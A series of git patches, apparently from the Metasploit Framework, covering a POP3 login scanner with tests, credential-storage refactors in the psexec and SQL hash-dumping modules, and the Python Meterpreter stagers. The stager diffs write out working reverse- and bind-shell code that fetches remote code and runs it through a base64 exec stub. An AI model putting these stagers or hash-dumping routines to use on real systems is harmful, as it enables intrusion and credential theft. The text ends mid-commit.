atm?). Trying NTUSER.DAT/USRCLASS.DAT..") + print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...") result = process_hive(sys_path, user, muicache, hive_file) unless result.nil? result.each { |r| @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us content we'll know that we # can access the registry directly and thus continue to process # the content collected from there. - print_status("User #{user}: Enumerating registry..") + print_status("User #{user}: Enumerating registry...") subkeys.each do |key| if key[0] != "@" && key != "LangID" && !key.nil? result = check_file_exists(key, user) @@ -142,11 +142,11 @@ class Metasploit3 < Msf::Post ntuser_status = file_exist?(hive_path) unless ntuser_status == true - print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.") + print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.") return nil end - print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..") + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...") local_hive_copy = Rex::Quickfile.new("jtrtmp") local_hive_copy.close begin @@ -166,8 +166,8 @@ class Metasploit3 < Msf::Post # extracting the contents of the MUICache registry key. def hive_parser(local_hive_copy, muicache, user) results = [] - print_status("Parsing registry content..") - err_msg = "Error parsing hive. Can't continue." + print_status("Parsing registry content...") + err_msg = "Error parsing hive. Unable to continue." hive = Rex::Registry::Hive.new(local_hive_copy) if hive.nil? print_error(err_msg) @@ -210,7 +210,7 @@ class Metasploit3 < Msf::Post # - http://forensicartifacts.com/2010/08/registry-muicache/ # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots def run - print_status("Starting to enumerate MuiCache registry keys..") + print_status("Starting to enumerate MUICache registry keys...") sys_info = sysinfo['OS'] if sys_info =~/Windows XP/ && is_admin? @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Post hive_file = "\\NTUSER.DAT" elsif sys_info =~/Windows 7/ && is_admin? print_good("Remote system supported: #{sys_info}") - muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" else print_error("Unsupported OS or not enough privileges. Unable to continue.") @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Post "File status", ]) - print_status("Phase 1: Searching user names..") + print_status("Phase 1: Searching user names...") sys_users, sys_paths, sys_sids = find_user_names if sys_users.blank? @@ -246,16 +246,16 @@ class Metasploit3 < Msf::Post print_good("Users found: #{sys_users.join(", ")}") end - print_status("Phase 2: Searching registry hives..") + print_status("Phase 2: Searching registry hives...") muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) results.each { |r| table << r } - print_status("Phase 3: Processing results..") + print_status("Phase 3: Processing results...") loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") print_line("\n" + table.to_s + "\n") - print_status("Results stored in: #{loot}") + print_status("Results stored as: #{loot}") print_status("Execution finished.") end From 15fffb1668aaa10e51bc3b44f77a12340214eb55 Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Mon, 2 Jun 2014 13:50:30 -0500 Subject: [PATCH 43/58] Adding in some tests cleaning up the regex a bit MSP-9678 --- .../framework/login_scanner/pop3.rb | 14 ++-- .../framework/login_scanner/pop3_spec.rb | 67 +++++++++++++++++++ 2 files changed, 72 insertions(+), 9 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb index 789e1ef7f0..e7b6043976 100644 --- a/lib/metasploit/framework/login_scanner/pop3.rb +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -31,21 +31,21 @@ module Metasploit # Check to see if we recieved an OK? result_options[:proof] = sock.get_once - if result_options[:proof][/^\+OK (.*)/] + if result_options[:proof][/^\+OK.*/] # If we received an OK we should send the USER sock.put("USER #{credential.public}\r\n") result_options[:proof] = sock.get_once - if result_options[:proof][/^\+OK (.*)/] + if result_options[:proof][/^\+OK.*/] # If we got an OK after the username we can send the PASS sock.put("PASS #{credential.private}\r\n") result_options[:proof] = sock.get_once - if result_options[:proof][/^\+OK (.*)/] + if result_options[:proof][/^\+OK.*/] # if the pass gives an OK, were good to go result_options[:status] = :success end end end - rescue ::Rex::ConnectionError, ::Timeout::Error, ::Errno::EPIPE => e + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e result_options.merge!( proof: e.message, status: :connection_error @@ -64,11 +64,7 @@ module Metasploit def set_sane_defaults self.max_send_size ||= 0 self.send_delay ||= 0 - if self.ssl? - self.port ||= 995 - else - self.port ||= 110 - end + self.port ||= 110 end end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index 37c1353ba1..642a4c3d31 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -8,7 +8,74 @@ describe Metasploit::Framework::LoginScanner::POP3 do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::LoginScanner::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + it "Timeout::Error should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + + it "EOFError should result in status :connection_error" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:connection_error) + end + end + + context "Open Connection" do + let(:sock) {double('socket')} + + before(:each) do + sock.stub(:shutdown) + sock.stub(:close) + expect(scanner).to receive(:connect) + scanner.stub(:sock).and_return(sock) + + end + + it "Server returns +OK" do + expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") + expect(sock).to receive(:put).with("USER public\r\n").once.ordered + expect(sock).to receive(:put).with("PASS \r\n").once.ordered + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:success) + + end + + it "Server Returns Something Else" do + sock.stub(:get_once).and_return("+ERROR") + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(:failed) + expect(result.proof).to eq("+ERROR") + + end + end + end end From 361b9a16163c594159a024fa371cf87550f805a6 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 2 Jun 2014 14:20:54 -0500 Subject: [PATCH 44/58] psexec credential refactor refactor psexec credential reporting to use Metasploit::Credential --- modules/exploits/windows/smb/psexec.rb | 41 +++++++++++++++++++------- 1 file changed, 31 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 68badfeef6..485d4e4aa3 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -107,20 +107,41 @@ class Metasploit3 < Msf::Exploit::Remote end if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'smb', - :user => datastore['SMBUser'].downcase, - :pass => datastore['SMBPass'], - :active => true + + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) + credential_data.merge!({:private_type => :ntlm_hash}) else - report_hash.merge!({:type => 'password'}) + credential_data.merge!({:private_type => :password}) end - report_auth_info(report_hash) + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) end filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" From b136765ef7bfd48b160c01ad80b5f5a4c74e98ca Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 2 Jun 2014 14:22:01 -0500 Subject: [PATCH 45/58] Nuke extra space at EOL --- modules/exploits/multi/elasticsearch/script_mvel_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 5012a8239d..c338fe7ffa 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else # TODO: It'd be nice to report_host() with this info. - print_good("#{peer} - Remote OS is '#{result}' ") + print_good("#{peer} - Remote OS is '#{result}'") end jar_file = "" @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote if result.nil? fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else - print_good("#{peer} - TEMP path identified: '#{result}' ") + print_good("#{peer} - TEMP path identified: '#{result}'") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else From 07093ada589c997ed8c3afbbbbc7060657c4b7f0 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 2 Jun 2014 14:53:40 -0500 Subject: [PATCH 46/58] add realm handling to psexec oops, forgot to create the realm when applicable --- modules/exploits/windows/smb/psexec.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 485d4e4aa3..1751f1be61 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -123,6 +123,13 @@ class Metasploit3 < Msf::Exploit::Remote username: datastore['SMBUser'].downcase } + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) + end + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ credential_data.merge!({:private_type => :ntlm_hash}) else From ff6607bd87e5f0720e6fbf43df57c473c13d18d6 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Mon, 2 Jun 2014 22:37:20 +0200 Subject: [PATCH 47/58] Correct documentation link changed link from https://dev.metasploit.com/documents/api/ to https://dev.metasploit.com/api/ --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b0614159d5..fccd9c49a7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### New Modules * **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb). -* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much. +* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. #### Library Code From b84297980d57cac99b305302324fa426cdb53129 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 2 Jun 2014 16:50:54 -0400 Subject: [PATCH 48/58] Pymeterpreter use print_exc and not print_exception --- data/meterpreter/meterpreter.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 24a635bbfc..7ed0222f35 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -526,8 +526,7 @@ class PythonMeterpreter(object): except Exception: if DEBUGGING: print('[-] method ' + handler_name + ' resulted in an error') - exc_type, exc_value, exc_traceback = sys.exc_info() - traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stderr) + traceback.print_exc(file=sys.stderr) result = ERROR_FAILURE else: if DEBUGGING: From aeca455a10fa7a74a3108451209e9d03f124f0db Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 2 Jun 2014 17:18:13 -0400 Subject: [PATCH 49/58] Pymeterpreter update pystagers for version 3.1/3.2 --- modules/payloads/stagers/python/bind_tcp.rb | 28 ++++++++++--------- .../payloads/stagers/python/reverse_tcp.rb | 24 ++++++++-------- 2 files changed, 28 insertions(+), 24 deletions(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 356a3fcfbf..62dda5d3bb 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -29,22 +29,24 @@ module Metasploit3 # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "s.listen(1)\n" - cmd += "c,a=s.accept()\n" - cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=c.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=c.recv(4096)\n" - cmd += "exec(d,{'s':c})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "s.listen(1)\n" + cmd << "c,a=s.accept()\n" + cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd << "d=c.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=c.recv(4096)\n" + cmd << "exec(d,{'s':c})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys; exec(base64.b64decode(" + b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 5f4e0cf92e..71086455c2 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -29,20 +29,22 @@ module Metasploit3 # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=s.recv(4096)\n" - cmd += "exec(d,{'s':s})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=s.recv(4096)\n" + cmd << "exec(d,{'s':s})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys; exec(base64.b64decode(" + b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) From 76c3aaf743f04b21d06f17cfb0fb310f3a1eeabb Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 2 Jun 2014 17:32:08 -0400 Subject: [PATCH 50/58] Pymeterpreter get type encoder from dict instead --- modules/payloads/stagers/python/bind_tcp.rb | 2 +- modules/payloads/stagers/python/reverse_tcp.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 62dda5d3bb..6886bce4f1 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -43,7 +43,7 @@ module Metasploit3 # Base64 encoding is required in order to handle Python's formatting requirements in the while loop b64_stub = "import base64,sys; exec(base64.b64decode(" - b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('" + b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('" b64_stub << Rex::Text.encode_base64(cmd) b64_stub << "')))" return b64_stub diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 71086455c2..2921f9011f 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -41,7 +41,7 @@ module Metasploit3 # Base64 encoding is required in order to handle Python's formatting requirements in the while loop b64_stub = "import base64,sys; exec(base64.b64decode(" - b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('" + b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('" b64_stub << Rex::Text.encode_base64(cmd) b64_stub << "')))" return b64_stub From 95376bf6d3384cfdbc71a732434f7b39d5988484 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 3 Jun 2014 10:17:27 -0400 Subject: [PATCH 51/58] Pymeterpreter update stager and stage descriptions --- modules/payloads/stagers/python/bind_tcp.rb | 2 +- modules/payloads/stagers/python/reverse_tcp.rb | 2 +- modules/payloads/stages/python/meterpreter.rb | 7 +++++-- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 6886bce4f1..277afc3050 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -15,7 +15,7 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Python connect stager', + 'Description' => 'Listen for a connection', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 2921f9011f..2608320d31 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -15,7 +15,7 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Reverse Python connect back stager', + 'Description' => 'Connect back to the attacker', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 1862298b82..0f0118ae68 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -14,8 +14,11 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python', - 'Author' => ['Spencer McIntyre'], + 'Description' => %q{ + Run a meterpreter server in Python. Supported Python versions + are 2.5 - 2.7 and 3.1 - 3.4. + }, + 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, From 0e4177fb7502848eed957db0a25516635c4022d3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 3 Jun 2014 12:03:20 -0400 Subject: [PATCH 52/58] Pymeterpreter shorten stagers by 3 bytes --- modules/payloads/stagers/python/bind_tcp.rb | 4 ++-- modules/payloads/stagers/python/reverse_tcp.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 277afc3050..60753157c1 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -42,8 +42,8 @@ module Metasploit3 cmd << "exec(d,{'s':c})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys; exec(base64.b64decode(" - b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('" + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" b64_stub << Rex::Text.encode_base64(cmd) b64_stub << "')))" return b64_stub diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 2608320d31..bbf7891414 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -40,8 +40,8 @@ module Metasploit3 cmd << "exec(d,{'s':s})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys; exec(base64.b64decode(" - b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('" + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" b64_stub << Rex::Text.encode_base64(cmd) b64_stub << "')))" return b64_stub From edc9f94d41276f86804b0d9aace71d22a023055e Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Tue, 3 Jun 2014 11:15:26 -0500 Subject: [PATCH 53/58] fixing issues raised in code review MSP-9678 --- lib/metasploit/framework/login_scanner/pop3.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb index e7b6043976..738ffc8fb9 100644 --- a/lib/metasploit/framework/login_scanner/pop3.rb +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -27,7 +27,8 @@ module Metasploit begin connect - sleep(0.4) + select([sock],nil,nil,0.4) + # sleep(0.4) # Check to see if we recieved an OK? result_options[:proof] = sock.get_once @@ -54,13 +55,12 @@ module Metasploit disconnect if self.sock - ::Metasploit::Framework::LoginScanner::Result.new(result_options) + Result.new(result_options) end private - # This method sets the sane defaults for things - # like timeouts and TCP evasion options + # (see Base#set_sane_defaults) def set_sane_defaults self.max_send_size ||= 0 self.send_delay ||= 0 From d3949b3d6c0fd762fccdda0e012291bc6ba9c9be Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 3 Jun 2014 15:02:59 -0500 Subject: [PATCH 54/58] refactor mssql_hashdump refactor mssql_hashdump to use Metasploit:Credential --- Gemfile | 2 +- Gemfile.lock | 6 +-- .../auxiliary/scanner/mssql/mssql_hashdump.rb | 41 +++++++++++++++---- 3 files changed, 38 insertions(+), 11 deletions(-) diff --git a/Gemfile b/Gemfile index 353a73cc3e..df1610bca5 100755 --- a/Gemfile +++ b/Gemfile @@ -27,7 +27,7 @@ group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' # Metasploit::Creential database models - gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.1.8-metasploit-credential' + gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.1.10-metasploit-credential' # Database models shared between framework and Pro. gem 'metasploit_data_models', '~> 0.17.1' # Needed for module caching in Mdm::ModuleDetails diff --git a/Gemfile.lock b/Gemfile.lock index c70fc9b031..ddd48121ea 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: github-metasploit-credential:rapid7/metasploit-credential.git - revision: 2be17e6327b4a5caa9a22ffc0b064923a25a222c - tag: v0.1.8-metasploit-credential + revision: 728ab82ab069edb21815fa944c1b8224b0511376 + tag: v0.1.10-metasploit-credential specs: - metasploit-credential (0.1.8.pre.electro.pre.release) + metasploit-credential (0.1.10.pre.electro.pre.release) metasploit-concern (~> 0.0.4) metasploit_data_models (~> 0.17.0) rubyntlm diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index a31c2637c6..91a5ecf793 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -55,10 +55,10 @@ class Metasploit3 < Msf::Auxiliary case version_year when "2000" - hashtype = "mssql.hashes" + hashtype = "mssql" - when "2005", "2008" - hashtype = "mssql05.hashes" + when "2005", "2008", "2012", "2014" + hashtype = "mssql05" end this_service = report_service( @@ -74,15 +74,42 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - hash_loot="" + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + mssql_hashes.each do |row| next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_type: :nonreplayable_hash, + private_data: row[1], + username: row[0], + jtr_format: hashtype + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + tbl << [row[0], row[1]] print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") end - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt" - store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service) end #Grabs the user tables depending on what Version of MSSQL @@ -99,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - when "2005", "2008" + when "2005", "2008", "2012", "2014" results = mssql_query(mssql_2k5_password_hashes())[:rows] end From d1f7f93e4b2a71abb8f4c7d8402c4b9324548d86 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 4 Jun 2014 11:59:47 -0500 Subject: [PATCH 55/58] refactor mysql_hashdump mysql_hashdump now uses Metasploit::Credential to save hashes. --- .../auxiliary/scanner/mysql/mysql_hashdump.rb | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index e249db4ff0..31d5f372f4 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -37,41 +37,41 @@ class Metasploit3 < Msf::Auxiliary return end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'mysql', - :proto => 'tcp' - ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + jtr_format: 'mysql,mysql-sha1', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } - #create a table to store data - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'MysQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) + credential_data.merge!(service_data) if res.size > 0 res.each do |row| - tbl << [row[0], row[1]] + credential_data[:username] = row[0] + credential_data[:private_data] = row[1] print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}") + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end - report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty? - - end - #Stores the Hash Table as Loot for Later Cracking - def report_hashes(hash_loot,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt" - path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end end From ef8f237050164d7b3da5e300da5e92e236c76a6d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 4 Jun 2014 15:43:15 -0500 Subject: [PATCH 56/58] refactor filezilla_server you know the score --- .../gather/credentials/filezilla_server.rb | 99 ++++++++++++------- 1 file changed, 65 